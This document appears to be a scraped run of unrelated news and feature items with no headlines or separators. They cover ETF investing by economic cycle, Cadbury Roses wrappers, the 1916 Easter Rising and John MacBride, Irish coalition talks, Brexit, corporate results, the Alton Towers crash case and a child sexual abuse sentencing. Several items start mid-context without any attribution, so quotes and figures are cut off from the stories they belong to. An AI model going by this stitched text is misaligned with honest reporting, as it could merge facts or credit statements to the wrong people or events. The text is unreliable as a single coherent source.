Typically, gross domestic product (GDP) is the number one metric for analyzing an economy. When GDP is growing, it indicates a growing economy willing to spend more. Conversely, when GDP is decreasing, it is an indication of contraction and the need for greater spending prudence.

Consumer Confidence

Consumer confidence can also be relevant. In a weakening economy, consumer confidence typically declines, causing consumers to tighten their belts by postponing vacations and the purchases of non-essential products, such as high-end retail, big-screen televisions, or expensive new cars. The reduced demand for consumer discretionary is usually a precursor to lower sales for the companies that produce these products, which can lead to worsening economic conditions and more contraction.

The shares of consumer discretionary companies tend to lead a general stock market decline at the beginning of a contraction.

The Bureau of Economic Analysis (BEA) releases a monthly report on personal income and outlays, which is also combined with the Federal Reserves (Fed) closely followed Personal Consumption Expenditures Index for measuring inflation.  In growth phases, personal income and personal spending will typically show increases, leading to more spending on consumer discretionary products. During contractions, meanwhile, personal income and personal spending are usually lower.

Interest Rates

Interest rates can also be an interesting metric to follow during all types of economic cycles. Typically, the Federal Open Market Committee (FOMC) and fixed income markets, in general, will usually see rising interest rates in growth phases and falling interest rates in contractions. Interest rates can be a big factor for companies who tap the credit markets for business funding. Monetary policy usually seeks to lower interest rates in contractionary phases to help business stimulus.

Alternative Indicators

Other monthly indicators closely followed to predict consumer discretionary trends may include the following:

Retail sales

Non-farm payrolls

Unemployment levels

Labor market hours

Labor market earnings

Manufacturing activity

Services activity

Home sales

Building construction activity

Investing Strategies: Discretionaries vs. Staples

When an economy is growing, nearly all sectors will see stock value increases. This is helped by increasing profits and more disposable consumer income. Growth phases usually make investing in equities much more attractive. Often, when signs of economic recovery begin to appear, consumer discretionary stocks will lead a stock market recovery.

In contrast, when an economy is contracting, investors are more likely to turn to consumer staples stocks, as well as other lower-risk investments, such as corporate bonds and Treasuries. These types of investments provide even more safety, while still generating some viable returns.

ETFs

Many investors like to take their bets through sector exchange-traded funds (ETFs) throughout all types of economic cycles. These funds can limit risks through broadened diversification, while still allowing for the concentration of investment positions. In the consumer discretionary and consumer staples categories, State Street Global Advisors offers two of the markets top options.

The Consumer Discretionary Select Sector SPDR Fund (XLY) includes the S&P 500s consumer discretionary stocks. Its top holdings, as of August 2020, were the following:

Amazon (AMZN)

Home Depot (HD)

McDonald's (MCD)

NIKE (NKE)

Lowe's (LOW)

The Consumer Staples Select Sector SPDR Fund (XLP) includes the S&P 500s consumer staples stocks. Its top holdings, as of August 2020, were the following:

Procter & Gamble (PG)

PepsiCo Inc. (PEP)

Walmart (WMT)

Coca-Cola (KO)

Mondelez (MDLZ)

These ETFs can be good investment options to consider when seeking to navigate through different types of economic cycles.
Despite almost eighty years of tradition, Cadbury Roses as we know them will soon be nothing but a fond memory.

Due to complaints from customers about a mixture of tastes breaking through the original tin foil wrappings and chocolates even falling out of these wrappings, the chocolate makers made the decision to replace the packaging with more modern flow wrappers (those wrappers with the jagged edges you can tear along the edge).

Not only will the packaging be changing from the original 1938 design, but two of the chocolates themselves will be changing in shape, apparently to make them melt in your mouth an awful lot easier.

The hazel in caramel and coffee escape will now have smooth contours to ensure they melt in the mouth easily and result in a longer moment of joy.

It has been claimed, however, that the US company which now owns the Cadbury brand is simply attempting to streamline production in order to cut costs.

Thank you very much for loving Cadbury Roses! From our very first box to our latest look for 2016. Heres a sneaky peek at our delightful new design! #FreeTheJoy Posted by Cadbury UK on Thursday, April 21, 2016

Roses, named after the Roses brothers who in the 1930s first produced the machinery for Cadbury that allowed them to wrap the chocolates, will undergo this $4.3 million (3 million) reboot in the next two months, altering forever this formerly quintessential British brand.

Although a British brand, the Irish have always wholeheartedly embraced Cadbury as their own, with thanks to the Cadbury factories located on the island and of course, the deliciousness of the chocolate. Cadbury Roses are, in particular, regarded as something of a Christmas tradition in the Irish household and youre sure to have one or two boxes left from neighbors and friends that are broken open and demolished both before and after Christmas dinner. As such, the Irish have been among the most vocal in decrying the changes to their beloved product.

Read more: US chocolate lovers loyalty to Cadburys win out over Hersheys lawsuit

Kraft overlords of Cadbury: For the last time can you just STOP messing with tins of Roses.  anne o gorman (@gorman_annie) April 21, 2016

Between #Prince and #CadburyRoses its been a bad day for beloved purple ones  Simon O'Keeffe (@okeeffesimon) April 21, 2016

The chocolate giants have defended their decision, however, claiming that the coming changes are only addressing previous complaints made by consumers.

The number one complaint about Cadbury Roses in 2014 was around the issue of poorly wrapped chocolates tainting the flavors of other chocolates in the tub, said marketing manager Claire Low.

We wanted to take steps to ensure quality is of the highest standard in every pack.

Although we appreciate there may be some traditionalists who still love the old twist wrap, it is important to us to ensure that we listen to the majority of our customers and address their issues by delivering Cadbury Roses in the highest quality.

Cadbury Head of Innovation Dave Shephard has also claimed that the change will only add to enjoyment of the chocolate.

Holding the chocolate in your mouth and letting it melt slightly before you bite will allow for maximum flavor and the moment of enjoyment will last even longer, he said.

That's why weve opted for this new design, as the more rounded and smoother shape fits better to the contours of your mouth, creating a better melt in the mouth experience.

Needless to say, not everybody is happy about the changes and the promises that Cadbury are making, especially as promises previously made by its new US-based management have not always been upheld.

When they were controversially taken over by Kraft in a $16.6 billion (11.5 billion ) deal in 2010, the company said that a Cadbury factory at Keynsham, near Bristol in England, would be kept open. This promise was later reneged on.

Cadbury is now owned by US firm Mondelez, which was created when Kraft was split off into a separate company in 2012.

They have come under fire for other changes in recent years, especially for the reduction of the Roses box four times in the past four years despite the price staying the same. Many of its other boxes and bars have also shrunk while customers were not impressed with the change made to the shell of the Creme Egg last year.

The new wrappers will be in Roses boxes by the end of the year while the new chocolate shapes will begin to come into effect this month.

Oh dear God. Yet another blight on Britishness and Cadbury as Kraft scrap twisty wrappers on Roses chocs https://t.co/cst1uz7J10  Felicity Morse (@FelicityMorse) April 21, 2016

Oh great! #CadburyRoses have changed there wrappers! Can't bloody open the sealed kind  HollyWilliamsAuthour (@HollyJWAuthour) April 21, 2016
Centennials are truly remarkable milestones. One hundred years  a full century  since a moment first entered the pages of history.

So its felt a little, shall we say, fantastical, to be commemorating two centennials of the same event with just a month between them.

Ireland celebrated the 100th anniversary of the 1916 Easter Rising with an emphasis on the Easter. In Dublin, on Easter Sunday, which fell this year on March 27, over 750,000 people gathered for a massive parade, while throughout the rest of Ireland hundreds of thousands more attended commemorative events in their counties and towns.

That means that over 1 million people  slightly less than a quarter of the entire population of the Republic of Ireland  engaged with the centennial in some way. By most accounts it was a truly patriotic, proud, and reflective celebration; a big success.

This coming weekend, here in the US, were preparing to commemorate the Easter Rising 100 years to the day, April 24, rather than 100 years to the Easter, as they did in Ireland.

And its hard not to feel a little run out of steam in the 1916 enthusiasm department.

Articles and event announcements heralding the centennial of 1916 began circulating (again) last week, bringing with them waves of deja vu and a sense that we, as a global Irish community, are repeating ourselves.

Why did Ireland mark one day as the 1916 centennial and the rest of the world another? Was it to ensure a tourism boost for the commemorative events? Was it to avoid a St. Patricks Day-esque scenario in which Irelands leaders seem to be in every nation except the one they represent on the day that celebrates their country? It cant be the latter, as only one government minister is traveling to the US for the 1916 celebrations.

Irish America played a massive role in the 1916 Rising. Its safe to say that there might not even have been a Rising without the funds raised by Clan na Gael, John Devoy, and the time many of the key 1916 leaders spent gathering support and influence in the States. Where many in Ireland were not sure how to feel in the wake of the Rising, Irish America stood strongly in support of the rebels.

Even the Proclamation of the Irish Republic specifically cites the instrumental support of Irelands exiled children in America.

With this in mind, it would have been much more fitting to pick one day  be it Easter or April 24  to mark the centennial of the Rising and make it an international celebration of Irelands declaration of independence and the many changes that have taken place since.

Its important for a country and its diaspora to have a day as a rallying moment to mark its history. The US has the 4th of July, Mexico has Cinco de Mayo, Canada has Canadian Independence Day on July 1. Ireland has St. Patricks Day, but thats a celebration of Irish culture (or an international bastardization of it, depending upon whom you ask), not a celebration of Irish history.

In the year 2116, Easter falls on Sunday, March 29, 2116, meaning the same question of which day to commemorate that arose for the centennial will also impact the bicentennial.

So, dear Ireland and people of Irish heritage alive in 2116, assuming all has gone well this message is for you: Save yourself the risk of any confusion or fatigue. Pick one day to mark as the 1916 bicentennial in both Ireland and around the world, and make it a massive, international celebration of Irelands freedom and history.
On this day, May 5, in 1916, Easter Rising leader John MacBride was executed for his role in the rebellion.

The Easter Rising took place over the course of five days in Dublin in 1916 and forever changed the course of Irish history. To commemorate this anniversary, writer and historian Dermot McEvoy produced 16 profiles of the Irish Rebel leaders who were executed one hundred and one years ago and who, gradually, have come to be seen as heroes.

Between May 3 and 14, 1916 fifteen leaders of the Rising were court-martialed by the British Army under General John Maxwell and convicted. IrishCentral will look at the leaders - from James Connolly to Joseph Mary Plunkett - and share their stories.

Read more 50 facts about the Easter Rising

John MacBride

John MacBride was born in County Mayo in 1865, became interested in Irish Republican politics, then left for South Africa to make his fortune in the gold mines. He fought against the British during the Boer Wara point not lost on British General John Maxwell of Easter Rising fame/infamy who was also a participant in the Boer War on the British sidethen fled to France because he feared to return to Ireland at that time. In Paris, he met Maud Gonne, whom he married, and they had a son, Sean.

The marriage was a tumultuous one and MacBride eventually returned to Ireland. At this point, he was impoverished and having trouble with alcohol until he secured a position with the Dublin Corporation. He was not a member of the Irish Volunteers or intimately involved with the leadership of the IRB, although he knew many of the players. In an iconic photograph, he can be viewed between Pearse and Clarke at the ODonovan Rossa funeral oration at Glasnevin Cemetery in 1915.

Read more On This Day: The first executions of 1916 Easter Rising leaders begin

His involvement in the Rising, it seems, was serendipitous. According to his statement at his trial, he just kind of stumbled upon the revolution: On the morning of Easter Monday I left my home at Glengeary with the intention of going to meet my brother who was coming to Dublin to get married. In waiting around town I went up as far as Stephens Green and there I saw a band of Irish Volunteers. I knew some of the members personally and the Commander [MacDonagh] told me that an Irish Republic was virtually proclaimed. As I knew my rather advanced opinions and although I had no previous connection with the Irish Volunteers I considered it my duty to join them. I knew there was no chance of success, and I never advised nor influenced any other person to join. I did not even know the positions they were about to take up. I marched with them to Jacobs Factory. After being a few hours there I was appointed second in command and I felt it my duty to occupy that position. I could have escaped from Jacobs Factory before the surrender had I so desired but I considered it a dishonorable thing to do. I do not say this with the idea of mitigating any penalty they may impose but in order [to] make clear my position in the matter.

According to William T. Cosgrave, who succeeded Arthur Griffith as the President of the Executive Council of the Irish Free State in 1922 and was the father of the future Taoiseach, Liam Cosgrave: John MacBride told methat his life-long prayer had been answered. He said three Hail Marys every day that he should not die until he had fought the British in Ireland.

According to Father Augustine, who heard his confession and gave him communion, MacBride was quiet and natural and knew no fear. When they came to take him away he requested that he not be blindfolded or handcuffed, but these things were denied him. As he stood before the firing squad he said: Fire away. I have been looking down the barrels of rifles all my life. He died at 3:47 a.m.

Read more WATCH: 1916 Easter Rising footage featured in British Pathe online archives

His estranged wife, Maud Gonne, when she heard the news of his death in Paris, said: He made a fine heroic end which has atoned for all. It was a death he had always desired.

In Dublin, the Archpoet Yeatswho had unsuccessfully battled MacBride for Gonnes affectionscast a more jaundiced eye on MacBride. However, by the end of the summer, he too had found some greatness in his erstwhile rival. In Easter 1916," he wrote about MacBride:

This other man I had dreamed A drunken, vain-glorious lout. He had done most bitter wrong To some who are near my heart, Yet I number him in the song; He, too, has resigned his part In the casual comedy; He, too, has been changed in his turn, Transformed utterly: A terrible beauty is born.

There is one more footnote to the legacy of John MacBride. The son he had with Gonne, Sean MacBride, first followed in his fathers footsteps and was Chief-of-Staff of the IRA in the 1930s. After that, he turned politician, was elected TD, and as Minister for External Affairs in the John Costello coalition government which declared the Irish Republic in 1949. He went on to be a founding member of Amnesty International and won the Nobel Peace Prize in 1974 for his work on behalf of human rights. And in what might have made both his lefty-leaning parents smile, he added the Lenin Peace Prize in 1975. He died in Dublin in 1988.

~~~~~

*Dermot McEvoy is the author of "The 13th Apostle: A Novel of a Dublin Family, Michael Collins, and the Irish Uprising and Irish Miscellany" (Skyhorse Publishing). He may be reached at dermotmcevoy50@gmail.com. Follow him on his website and on Facebook.

* Originally published in May 2016.

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A Dublin man accused of murdering his wifes son will find out today if his application to adjourn next weeks trial has been successful.

David Mahon of Ongar Village in Clonsilla wants the adjournment so that he can have a hip replacement.
Talks between Fine Gael and Fianna Fail on the facilitation of a minority Government will centre on water charges when they resume later.

Last night the parties insisted no deal had been done in the area and that they had not even discussed Irish Water yesterday, despite reports they had reached a compromise deal.

Fine Gael's Simon Coveney said: "We didnt actually deal with water...(A deal) isnt agreed despite some of the things we're reading, but we'll be back to it."

The reported deal on the table would see the commercial semi-state go into full public ownership as a state company and charges suspended until a different regime can be put in place.

That led to a cool reception from Fianna Fail TDs who said it did not deliver enough of what they promised in the election.

And others said the talks were not going to be limited to water in any case, with many other issues to be ironed out.

Fianna Fail's Barry Cowen said: "There are many other areas where we havent reached agreement, in relation to childcare (and) the health service waiting lists and education, and many services that people rely on."

The talks will resume later this morning. Both sides confirmed they will continue throughout the weekend if necessary.
The Humanist Association of Ireland is asking people to think before they tick a religion box on Census night.

On Sunday, the Census will ask everyone in Ireland what religion they are, with "no religion" one of the options available.
Talks on government formation have broken up for the day without any discussion on Irish Water.

Both Fine Gael and Fianna Fail deny that a deal has been reached on Irish Water and say the matter was not brought up during four hours of talks today.
Multiple fatalities have been reported after a series of shootings in rural Ohio.

Prosecutors said a dozen Bureau of Criminal Investigation agents were called to Pike County, in a predominantly rural Appalachian Mountain region 80 miles east of Cincinnati.

Spokesman Dan Tierney said Pike County sheriff's office requested state help in the response to the shootings.

Authorities said there are multiple crime scenes along the same road, but Mr Tierney had no information on whether a suspect was in custody. He also had no confirmation on the number of fatalities.

More as we get it 
South Korea has rejected the North's unusual overture to send North Korean relatives to Seoul to be reunited with the 13 restaurant workers it says were abducted in China by spies from the South.

The workers, from a restaurant North Korea, are the biggest group to defect since Kim Jong Un took power in Pyongyang in 2011.

The North typically accuses Seoul of kidnapping or enticing its citizens to defect, but an attempt to reunite the families is extraordinary.

Pyongyang's state media said it had informed Seoul that the North will try to send the relatives through the border village of Panmunjom but did not say when.

"The families of the abductees are eagerly asking for face-to-face contact with their daughters as they were forced to part," said the message carried by the official Korean Central News Agency.

Seoul's Unification Ministry responded in a brief statement that it could not accept the North's request because the restaurant workers decided on their own to resettle in the South.

North Korea has already warned of unspecified retaliation if the South refuses to send back the restaurant workers.

The defection of one male manager and 12 female waitresses has had intense media attention in South Korea.

Since announcing the defection, Seoul officials have refused to disclose full details, and some critics have questioned whether the announcement was an attempt to influence the results of parliamentary elections, which the conservative ruling party eventually lost to liberal opposition parties.

The North has about 50,000 to 60,000 workers abroad, mostly in Russia and China, with a mission to bring in foreign currency, according to Seoul's intelligence service.

Pyongyang typically sends relatively affluent, loyal citizens to such jobs, because they are seen as being less affected by foreign cultures, according to experts in South Korea.

More than 29,000 North Koreans have fled to the South since the end of the 1950-53 Korean War, according to South Korean government records. Many defectors have testified that they wanted to avoid the North's harsh political system and poverty.
Update 10.30pm: Alton Towers operator Merlin has indicated a guilty plea to a charge of breaching the Health and Safety at Work Act over the Smiler rollercoaster crash in June last year which left five people seriously injured.

Merlin Attractions Operations Ltd had previously accepted responsibility for the crash after carrying out its own internal investigation following the incident, which resulted in two women having legs amputated after their carriage collided with a stationary carriage on the same track.

The guilty plea indication came as the case was being heard at North Staffordshire Justice Centre in Newcastle-under-Lyme.

District Judge Jack McGarva warned that the company "may be ordered to pay a very large fine".

Earlier: The owner of Alton Towers is set to appear in UK court to face an allegation it breached health and safety rules over The Smiler rollercoaster crash which left five people seriously hurt.

Merlin Attractions Operations Ltd will appear at North Staffordshire Justice Centre in Newcastle-under-Lyme later accused of a breach of Section 3(1) of the Health and Safety at Work Act.

Five people were seriously injured on the ride on June 2 last year, including two women who had legs amputated after their carriage collided with a stationary carriage on the same track.

Merlin Attractions is alleged to have breached Section 3(1) of the Health and Safety at Work Act 1974, which states: "It shall be the duty of every employer to conduct his undertaking in such a way as to ensure, so far as is reasonably practicable, that persons not in his employment who may be affected thereby are not thereby exposed to risks to their health or safety."

The prosecution has been brought by the Health and Safety Executive (HSE).

Sixteen people were injured in the collision on a low section of the ride, which can reach speeds of up to 50mph and has 14 loops.

Those most badly hurt were Vicky Balch and Daniel Thorpe, from Buxton in Derbyshire, Leah Washington and Joe Pugh, from Barnsley, and Chandaben Chauhan, from Wednesbury, West Midlands.

Miss Washington and Miss Balch each lost a leg as a result of their injuries, while Mr Pugh had both kneecaps shattered and Mr Thorpe suffered a collapsed lung.

The 500-acre theme park in Staffordshire was shut for four days following the smash while The Smiler, which is the world's first 14-loop rollercoaster, only reopened in March this year.

In a statement issued after the HSE announced its intention to prosecute in February, Merlin said: "We have co-operated fully with the Health and Safety Executive throughout their investigation while continuing to support those who were injured in the accident.

"The company completed its own investigation and published the results in November, accepting responsibility for what happened. We have also kept the HSE fully informed of the subsequent actions that we have taken to ensure that something like this cannot happen again."
This was a very brave move for Ireland and one that subsequently caused many problems during periods of sterling weakness in particular. Two days after my son finishes his Leaving Cert, another potentially momentous development for Ireland in terms of its relationship with the UK could occur.

On June 23 the UK electorate will go to the polls to decide if Britain should remain a part of the EU, which it has been since Ireland joined in 1974. If the UK electorate votes to leave the EU, it could have potentially significant implications for Britain, the EU and Ireland.

An interesting question to pose is why David Cameron pledged to hold such a referendum in the first place. The obvious answer is to silence pesky eurosceptics. Ever since the UK joined the EU it has had a very shaky relationship with the system. Indeed, the shaky relationship with Europe dates back much longer than that.

For the Tory party in particular, the relationship with Europe has been a constant thorn in the side of the party. The fact is that the Tory party has been and continues to be deeply divided by the European question.

The anti-EU brigade in the Tory party and indeed in broader UK society have a strong sense of the former might of the British Empire and yearn for the country to re-attain its previous position of power in global affairs.

They tend to believe that EU membership has weakened the country and, hence, should be concluded.

There is also the more real opposition to the regulations that emanate from Brussels, and the contribution that the UK makes to the EU budget. It is argued that leaving the EU would allow the UK to become powerful again; free itself from the shackles of EU regulation; and free up money to be used domestically.

In reality, it is far from clear that a decision to leave the EU would achieve any of those objectives.

Brexit would not be good for UK trade. It is estimated that 47% of UK exports go to EU countries, and just 7% of EU exports go to the UK.

Hence, the EU market is much more important to the UK than vice-versa. The UK makes a gross contribution of 20 billion (16bn) to the EU budget, but receives 10bn from the EU in agricultural and other payments.

If the UK electorate were to vote to leave the EU, a process of negotiation would begin to determine what sort of relationship the UK would have with the EU henceforth.

This process could take many years. Options could include Norway, Switzerland or Canada. Norway has access to the EU market through the European Economic Area (EEA), but has to sign up to many of the regulations of the Single European Market (SEM) and has to make a contribution to the EU budget, equivalent to 90% of the UK contribution per capita.

Switzerland has access to the EU market through a series of bi-lateral trade deals, but pays a contribution equivalent to 50% of the UK contribution per capita, and also has to sign up to many of the SEM regulations. Canada has just agreed a trade deal with the EU after seven years of negotiation.

However, it does not include services (which would be a particular problem for the UK) and some goods.

It is not clear what sort of relationship would be negotiated with the EU, but it is clear that if the UK wanted access to the EU market, which presumably it would, it would still be bound by many of the regulations and financial commitments that it is in theory trying to break free from.

There is also considerable concern for UK agriculture, as it would lose CAP payments.

If the electorate does decide to leave the EU, it would cause immense short-term problems for the UK economy. The longer-term consequences would depend on the type of trade deal agreed. The French, in particular, would hardly be in a mood to give the British too many concessions.

Quite frankly, the Brexit proponents do not make a lot of sense. Next week, I will consider the possible implications for Ireland and the EU.
Mr Dunne said the European Commission has failed to recognise the worsening income situation and take appropriate measures to support growers, despite repeated warnings.

Liam Dunne said: There are serious question marks concerning the medium to long term viability of arable crop production in Ireland and across Europe. Current price offers for old and new crop grain for the fourth year running are significantly below the cost of production with little prospect of a major lift between now and harvest.
The international drinks giant also owns the likes of Absolut vodka, Beefeater gin, Malibu rum and The Glenlivet Scotch. Yesterday it reported sales of just over 6.8bn for the nine months to the end of March.

Pernod Ricard doesnt break down the sales performance of individual brands outside interim or annual results. However, it said yesterday that the 1% sales increase in its key top 14 brand category has been driven notably by Jameson and innovation.

At the halfway point of the groups current fiscal year at the end of December it said Jameson had seen an 11% increase in first half sales.

The group yesterday said it has seen strong growth in the Americas, where year-to-date sales were up 6%, with modest growth of 2% in Asia and rest of the world and resilient growth of 1% evident in Europe.

Chairman and chief executive Alexandre Ricard called it a solid performance in an environment that remains contrasted.

Our strategy has remained consistent and is driving results. Innovation is accelerating, operational excellence is driving efficiencies, our ongoing initiatives in the US are starting to deliver, we are working actively to develop the new phase of growth in China, where we remain confident in the medium-term potential despite the tough current context, he said.

Diminishing demand for Scotch in Asia led to an unexpected slip in Pernod Ricards sales in China in its third quarter. Chinese sales of Scotch fell by 5%, year-on-year, in the three months to the end of March and were down 10% for the nine-month period under review.

Asia was disappointing due to a significant deceleration in China, Raymond James analyst Hermine de Bentzmann said in a research note on Pernod Ricard.

Chinese New Year was soft and consumption is still weak, said Pernod Ricards chief financial officer Gilles Bogaert.

Meanwhile, the group has not seen an improvement nor worsening of its cognac sales in China.
Earlier this year, Clare County Council granted planning permission for Supermacs to develop an 8m fast food/motorway service outlet on the M18, outside Ennis.

However, rival, Applegreen, blocked this by appealing the decision to An Bord Pleanala.

Applegreen trades from 200 sites in Ireland, the UK, and the US, but its application for a rival motorway service stop 8kms from the Supermacs site was refused by Clare County Council last month.

The council refused after the nearby, five-star Dromoland Castle lodged an objection against the proposal. However, Applegreen has now lodged an appeal, with An Bord Pleanala, against the council decision, in relation to its own plans.

In its appeal, Applegreen again takes aim at the council decision to give the Supermacs plan the go-ahead. It states the decision should not have been made, as it represented a material contravention of the County Development Plan.

Regarding the Supermacs plan, Applegreen say that, given the proximity to Ennis town and the range of services provided, it is inevitable that the proposed development will become a local destination in its own right, competing directly with local petrol stations and local shops and restaurants in Ennis.

Applegreen also say that Supermacs planned building design and scale were unsuitable for the rural location, and should be refused on negative visual-impact grounds.

The firm further contends that there is no rationale in the draft County Development Plan as to why the Supermacs site should be the only location along the M18 for a motorway service area.

Applegreen also say that its plan is not contrary to national policy for the provision of off-line services.

A decision on the appeal is due in August.
The industry has declining demand from all its main markets.

Shipments fell 8.9% in the first quarter, adjusted for working days, according to data from Switzerlands customs office. Exports declined 16% in March, to CHF1.5bn (1.4bn), the lowest level for that month in five years, the Federation of the Swiss Watch Industry said.

The fall-off was broad-based, reaching 38% in Hong Kong, 33% in the US, and 14% in China.

Whats most surprising is that almost all top markets are in the red, said Zuzanna Pusz, an analyst at Berenberg, in London. Even if you adjust for the tough comparison base, its a really big drop. And whats most worrying is that theres no clear outperformance elsewhere, no shift to another region to partially make up for whats lost in Asia.

A boom in recent years in demand for Rolex, Omega, and Cartier timepieces has turned to bust, as Swiss watchmakers confront a laundry list of challenges. Thats led to job-cut negotiations at Cartier, Vacheron Constantin, and Piaget.

It has also prompted some brands to reshuffle management: Parmigiani Fleuriers interim chief executive resigned last month, just five months after he replaced Jean-Marc Jacot.

The export figures contrast with Swatch Group chief executive, Nick Hayeks comment, in an interview with Le Temps, earlier this month, that the industry was healthy. He was quoted saying the Swiss franc was completely overvalued, causing terrible damage in Switzerland.

Mr Hayek had said he wanted to avoid job cuts in the downturn.

In that interview, Mr Hayek said it would be exaggerated, but also wrong to call the situation a crisis, pointing out that some countries continued to grow, and results in local currencies had been more robust than those reported in Swiss francs.

In February, Swatch reported a worse-than-expected 21% drop in net profit, to CHF1.12bn, pinning the blame on the nations currency.

The completely overvalued Swiss franc has done terrible damage to the country, the paper, on Saturday, quoted Hayek, a persistent critic of the Swiss National Bank and its efforts to temper the francs strength, since abandoning a cap against the euro in January, 2015.

Shares of Swatch, which makes Omega and Longines watches, fell as much as 2.5%.

Richemont, the owner of Cartier, dropped as much as 1.9%, and LVMH, whose brands include TAG Heuer, declined as much as 1.1%.

Its not a good number, said John Guy, an analyst at MainFirst Bank, in London. But we also had no great expectations going into the March exports. We do expect April to improve, and, if that remains soft, it will mean trends are weaker than we expect.
Accounts filed by the Lady Tina Green-owned Top Shop/Top Man (Ireland) Ltd show revenues rose 2% to 23.42m in the 12 months to the end of August.

Lady Green is married to UK retail tycoon, Philip Green and they jointly operate the Arcadia Group which also counts Top Shop among its brands.

In contrast, filings for another Green firm, Arcadia Group Multiples (Ireland) Ltd show pre-tax losses mounted during the same period. It acts as holding company for the Burton, Dorothy Perkins and Evans brands

The firms accounts show that pre-tax losses more than doubled last year to 1.74m. Revenues at the firm fell by 10% to 17.6m.

A third Green firm, Wallis Retail (Ireland) Ltd recorded a pre-tax loss last year of 419,000 after recording a pre-tax profit of 262,000 in 2014.

The firm also saw revenues decline by 9%, to 9.9m, in the 12 months to the end of August. The Wallis Ireland loss chiefly arose from a non-cash writeoff of 270,000 relating to the provision of future leasing obligations of its loss-making stores. The firm employs 184 with staff costs last year amounting to 2m.

On the Top Shop/Top Man firm, the accounts show during the year, the company incurred an exceptional charge of 357,000 in connection with a provision against leasing obligations of the companys loss-making stores.

In the accounts the companys directors said that the retail market continues to be challenging. They added: However, the board is optimistic that through focusing on marketing and product and cost control, improved margins will be delivered.

Top Shop here operates from a number of locations including Galway, Athlone, Co Westmeath, and multiple stores in Dublin. The figures show that the firm last year spent 5.26m on operating leases.

Numbers employed by the firm last year dipped marginally from 365 to 361 with staff costs decreasing from 4.86m to 4.6m.

Arcadia Group Multiples (Ireland) Ltd also incurred an exceptional charge relating to lease obligation provisions arising from lossmaking stores. This figure amounted to 726,000. Numbers employed by that business fell from 385 to 360 with staff costs falling from 5.4m to 4.64m.

The loss at the firm last year took account of non-cash depreciation costs of 130,000. Accounts for a fourth Green-owned firm, Miss Selfridge Retail (Ireland) Ltd show that it returned to pre-tax profit last year with a surplus of 426,000.

This followed the firm recording a pre-tax loss of 54,000 in 2014. The firms revenues increased from 3.8m to 4m in the 12 months to the end of August.

According to the directors report: while the retailing environment in Ireland is highly competitive, the board is optimistic that the ongoing investment in stores and product will contribute to the companys objective of growing with both local and underlying sales.

It added: Further improvements in the supply chain, including tight stock and commitment management, will be key to ensuring that gross margins are optimised going forward. Numbers employed by the Miss Selfridge Ireland firm rose from 81 to 91 during the year.
The German car makers shares rose 2% late yesterday, marking a 15% gain for the battered stock since the start of the month.

Following months of acrimonious wrangling with US authorities, Volkswagen was commended at a hearing in San Francisco for its co-operation and given until June 21 to fine tune the agreement.

While the deal is set to cost at least $10bn (8.8bn), according to a source, the judge overseeing the process said specific details will remain confidential until the agreement is finalised.

There is a definite momentum to resolving this issue, US District Court Judge Charles Breyer said at the hearing. The final deal will include substantial compensation for affected owners of cars rigged to cheat on official emissions tests, said the judge, who is presiding over more than 600 lawsuits.

The agreement with US authorities is a milestone for Volkswagen as it seeks to emerge from the seven-month-old scandal. It has been battling to appease regulators and regain customers trust after admitting in September it rigged the exhaust systems of 11m diesel-powered cars worldwide to pass official emissions tests.

The crisis led to the departure of CEO Martin Winterkorn and caused Volkswagen to delay releasing its 2015 earnings due to uncertainty over the costs of the scandal.

The plan covers about 480,000 2-litre diesel vehicles in the US and will include some buybacks. What to do about 85,000 VW, Audi and Porsche models with 3-litre engines is still to be worked out. The deal addresses civil claims by the US government and lawsuits over diesel vehicles rigged to cheat pollution controls, and Volkswagens legal headaches in the US are still far from over.

The agreement doesnt involve penalties or fines likely to be imposed on the carmaker. The US Department of Justice said in a statement that while the agreement addresses one important aspect of the scandal, its other investigations remain active and ongoing.

* Bloomberg
Social media was flooded with tributes to the Purple One but one short video of a Georgia teacher seemed to sum up how everyone was feeling.

One of Matthew Pattersons students posted the poignant clip of him taking his glasses off and hanging his head after playing Purple Rain for the class.
The case was at the high end of the scale, Judge Sean O Donnabhain said yesterday, as he imposed a seven-year jail term, with the last three years suspended.

The sexual offender cannot be named as it would identify the child.

The accused was convicted last November. Yesterday Christopher Meehan, defending, said the accused did not accept the jurys verdict.

Judge O Donnabhain said the jury saw the girl give her evidence by video link to Cork Circuit Criminal Court and they believed her because her evidence was powerful and true.

The complainant was subjected on a repeated basis to dreadful, horrific abuse, he said.

You were showing her graphic abuse from your own store of material and subjected to this breach of trust by you.

This was an extremely loving, caring child that you abused. She was sent down to you because your wife had died and to comfort and help you. And you abused her in this base way.

I agreed for once with the DPP, these offences were very much at the higher end of the scale, showing the child of this age pornographic videos and getting her to try to act them out is really dreadful.

Judge O Donnabhain said the accused had met the case with absolute and dogged determination and an absence of remorse.

The victim said she was most hurt by the fact that her grandfather knew what he had done but still put her through having to give evidence in the trial and he did not tell the truth.

Judge O Donnabhain said: He destroyed her innocence. He may have done that but he cannot deny her her happiness.

There was evidence during the trial that he also sexually assaulted the child while he watched Coronation Street and on another occasion got her to play strip poker with him.

The accused had denied all four charges of sexually assaulting the nine-year-old in West Cork.

Asked by investigating gardai why she would have made the claims if they were untrue, the accused said the girl was being put up to it for money because her parents had financial trouble.

Judge Sean O Donnabhain said of the injured party, who gave her evidence by video from a room separate from the courtroom: I thought she was very convincing and very well grounded and to be absolutely believed on everything she said.

Mr Meehan gave a detailed account of the defendants poor health, which he said made imprisonment worse for him. He also said the accused continued to maintain his innocence.

The accused has been in custody since the jury found him guilty in November.

Judge O Donnabhain backdated the sentence to that date.
The conference is hearing submissions from representatives of countries including Spain, France, and Australia, which reviewed their deferral policy and lifted the ban; and Germany, which kept a lifelong ban in place following a review.

German speaker Margerethe Heiden co-authored a report advising the safety of transfusion recipients should be the first priority, outweighing societal concerns about discrimination.

However Brian Sheehan, of the Gay and Lesbian Equality Network, said the ban was outdated and discriminatory.

This is one last organ of the State that imposes a non-evidence-based restriction on gay and bisexual men, sending them the message that somehow they are unacceptable, he said.

This message causes a risk to be borne by gay men in society: Young LGBT people are twice as likely to self-harm and three times as likely to attempt suicide as their heterosexual counterparts. Some of the presenters here have spoken of a less than one in a million additional risk from lifting the ban.

However, IBTS medical and scientific director William Murphy said the ban may still provide a degree of protection; the prevalence of HIV and Hepatitis C is twice as high within the MSM [men who have sex with men] category.

He said a balance has to be struck based on the sound scientific evidence being presented to the conference: I have no mandate to increase risk. My job as a physician is to look after recipients of blood transfusions so theyre not exposed, while obviously in my personal life I want to live in a community that doesnt discriminate against any group of people.

